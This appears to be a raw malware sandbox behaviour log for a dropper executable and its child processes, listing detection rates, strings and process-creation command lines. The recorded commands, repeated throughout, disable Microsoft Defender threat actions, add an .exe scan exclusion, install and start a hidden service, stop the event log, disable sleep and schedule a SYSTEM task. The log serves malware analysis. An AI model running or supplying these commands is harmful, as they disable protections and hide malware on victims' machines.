Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3QKcKCEzYP.exe	ReversingLabs: Detection: 57%
Source: 3QKcKCEzYP.exe	Virustotal: Detection: 54%

Source: MrBEu6cm6HagE9yrmXV8x4AG.exe	String found in binary or memory: set-addPolicy
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe	String found in binary or memory: id-cmc-addExtensions
Source: yZBxqqQICO50PLfWYKwJeSL5.exe	String found in binary or memory: smallcrypto/rsa: public exponent too largecrypto/rsa: unsupported hash functionbigmod: internal error: shrinking natout does not point to an integer typetimestamp (%v) has out-of-range nanoscannot parse invalid wire-format dataexpected DOCUMENT-START or STREA
Source: yZBxqqQICO50PLfWYKwJeSL5.exe	String found in binary or memory: 14424391721682722368061big: invalid 2nd argument to Int.Jacobi: need odd integer but got %sexpected SCALAR, SEQUENCE-START, MAPPING-START, or ALIAS, but got %vinvalid descriptor: using edition features in a proto with syntax %sextension %v does not implement p
Source: yZBxqqQICO50PLfWYKwJeSL5.exe	String found in binary or memory: problem parsing YAML contentdocument contains excessive aliasingdid not find expected <stream-start>did not find expected version numberedwards25519: invalid point encoding%v: MessageSet with no unknown fieldinvalid hex escape code %q in stringgoogle/protobuf
Source: yZBxqqQICO50PLfWYKwJeSL5.exe	String found in binary or memory: e sizeset bit is not 0 or 1invalid named capturejava_generic_servicesinvalid nil Timestampinvalid emitter stateexpected STREAM-STARTexpected DOCUMENT-ENDcannot marshal type: write handler not setinvalid scalar lengthflag %q begins with -%s flag redefined: %sEx

Source: unknown	Process created: C:\Users\user\Desktop\3QKcKCEzYP.exe "C:\Users\user\Desktop\3QKcKCEzYP.exe"
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe .\Install.exe /uSdidZODwd "525403" /S
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "KSKIUXEH"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "KSKIUXEH"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: unknown	Process created: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\gpupdate.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process created: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "KSKIUXEH"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "KSKIUXEH" binpath= "C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "KSKIUXEH"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe .\Install.exe /uSdidZODwd "525403" /S	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
